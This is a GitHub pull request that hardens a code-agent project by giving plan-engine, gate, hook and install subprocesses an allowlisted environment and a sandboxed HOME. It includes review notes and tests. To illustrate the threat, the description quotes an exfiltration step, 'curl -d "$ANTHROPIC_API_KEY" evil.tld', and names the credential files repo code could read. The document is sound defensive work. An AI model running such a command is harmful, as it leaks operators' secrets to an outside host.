fix(security): run plan-engine and gate subprocesses with one allowlisted environment (#907) - #998
Conversation
|
I'll analyze this and get back to you. |
Precision bug review in progress
|
…failing open (#907 review)
Cross-family adversarial review (codex) — 4 findings triagedFixed (2) 1. Lifecycle hooks still inherited the full environment ( 2. The sandbox-HOME failure path failed open, not closed. This is a correction to a claim I made in #905 and repeated in the module comment. Verified: With Accepted as known (2) 3. 4. Workspace Three new tests, all mutation-checked. One note on method: my first mutation run showed |
|
Claude finished @frankbria's task in 6m 41s —— View job Precision bug review — PR #998Analyzed for concrete defects only (logic errors, security, data loss, contract breaks). Style, naming, architecture, and coverage are out of scope — a general review handles those.
✅ GLM review: no defects found. What I verified against the checked-out code (not the diff alone):
No inline findings to post. The |

Closes #907. Also closes #995, which I filed from the #905 review describing the gates half of this.
Problem
tools.pybuilt an env allowlist and passedenv=precisely because inheriting the operator's environment is an exfiltration path (#721). Two families of subprocess never got that treatment:Executor._execute_shell_command— all three branches, noenv=. A step likepytest; curl -d "$ANTHROPIC_API_KEY" evil.tldtakes theshell=Truebranch and the shell expands the key.is_dangerous_commandblocks destruction, not exfiltration; that command matches none of its patterns.gates.pyrunner — pytest, ruff, mypy, npm test/lint/build, tsc, python build, and the auto-installs (uv pip install,pip install,npm install). In hosted mode that means tenant repo code — a collectedconftest.py, an npmpostinstall— runs with the server'sANTHROPIC_API_KEY,CODEFRAME_API_KEY_SECRET, and JWT secret.Fix
All of it converges on
core/agent_env.py:build_agent_env(), the leaf module added in #905.run_command,run_tests(ReAct)Executor._execute_shell_commandgates.py— all 13subprocess.runcallsenv=env=build_agent_env(repo_path)quick_fixes.pypackage installenv=postinstallis repo codeagent.pyLLM-authored argv runnerenv=agent.pyruff --fixenv=hooks.pylifecycle hooksos.environThe last three were not named in the issue. I found them auditing for siblings, which is the pattern that produced review findings on the previous two PRs: fixing the callers an issue lists and leaving the identical shape one file over.
build_agent_envnow acceptsstr | Path, sincegates.pypassesrepo_pathin both shapes.Beyond the allowlist, gate subprocesses also inherit the #905 sandboxed
HOME/XDG_*. That matters here: without it, tenant code just reads~/.codeframe/credentials.encryptedand re-derives the same keys the allowlist withheld — the pointer is as good as the value.Tests
tests/core/test_subprocess_env_isolation_907.py— 10 tests, using real secret names (ANTHROPIC_API_KEY,OPENAI_API_KEY,E2B_API_KEY,CODEFRAME_API_KEY_SECRET,AUTH_SECRET,GITHUB_TOKEN) rather than placeholders, so a rename that drops one is caught.conftest.pythat recordsos.environto a file and runs the real pytest gate — repo code actually executing inside the gate, asserted on what it saw.&&forcesshell=Truewhere$VARexpands, and apython3 -cstep exercises theshlex-split argv branch that readsos.environdirectly.subprocess.run(ingates.pyis matched by anenv=. I would normally not test source text, but the 13 runners need toolchains (npm, mypy, tsc) that are not all present, so behaviour cannot reach them. It is the cheapest thing that fails when spawn site Add Quality Ratchet System #14 is added withoutenv=.os.environis not mutated for the parent.Mutation-checked: stripping
env=from gates, the executor,quick_fixes, orhooksfails 6 of the 13.A correction to #905, made here. That PR claimed the sandbox-HOME failure path "fails closed" by dropping
HOME. It does not — with the variable unset,expanduser("~")falls back togetpwuid()and resolves the operator's real home, so the child quietly regained~/.codeframe,~/.npmrc, and~/.config/ghwhile the gate reported an ordinary pass/fail:The failure path now still sets
HOMEto the uncreatable sandbox path and logs a warning: the pointer stays away from the operator, and anything that genuinely needs to write there fails visibly.284 tests across
test_gates_edge_cases,test_gates_observability,test_proof9,test_proof_runner_outcomes,test_executor,test_toolspass unchanged — no gate regressed from the sandboxed environment.Known limitations
subprocess_adapter.py,adapters/codex.py). Those CLIs need provider credentials to function, so it is a design question rather than a one-liner. Tracked in [P0.25] Delegated agent adapters inherit the operator's full environment and HOME #996..envcontaining real keys is still readable by repo code, since gates must run withcwd=repo_path. Not a leak this change creates — the file ships inside the repository — but worth knowing if you keep live credentials in a project.env.PATHstill reveals the operator's home location (/home/user/.local/bin). Knowing the path is not the constraint: the subprocess runs as the operator and can read any absolute path regardless. That is the documented "not containment" limit from [P0.11] Close the untrusted-repo execution boundary: repo-committed hooks and agent-readable credential store #905; the answer is OS-level isolation, not a narrower allowlist.~/.npmrcor~/.awswill now see a sandboxedHOME. No escape hatch is added here because nothing has asked for one; the same sandbox has applied to the ReAct engine'srun_testssince [P0.11] Close the untrusted-repo execution boundary: repo-committed hooks and agent-readable credential store #905.